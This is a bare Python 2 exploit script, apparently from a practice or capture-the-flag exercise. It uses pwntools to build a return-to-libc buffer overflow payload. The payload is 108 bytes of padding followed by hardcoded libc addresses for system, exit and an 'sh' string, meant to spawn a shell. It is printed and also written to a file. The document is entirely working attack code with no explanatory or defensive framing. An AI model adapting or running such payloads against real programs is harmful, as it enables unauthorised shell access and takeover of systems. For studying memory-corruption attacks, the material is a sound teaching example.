ret2libc

#!/usr/bin/python
from pwn import *

def main():
        offset = 108

        # $2 = {<text variable, no debug info>} 0xf7e51940 <system>
        system_addr = p32(0xf7e51940)

        # $3 = {<text variable, no debug info>} 0xf7e457b0 <exit>
        exit_addr = p32(0xf7e457b0)

        # libc : 0xf7e29412 --> 0x69006873 ('sh')
        sh_str = p32(0xf7e29412)

        payload = "A" * offset
        payload += system_addr
        payload += exit_addr
        payload += sh_str

        print payload

        # For debug
        fname = 'test'
        with open(fname, 'w') as dbg:
                dbg.write(payload)

if __name__ == "__main__":
        main()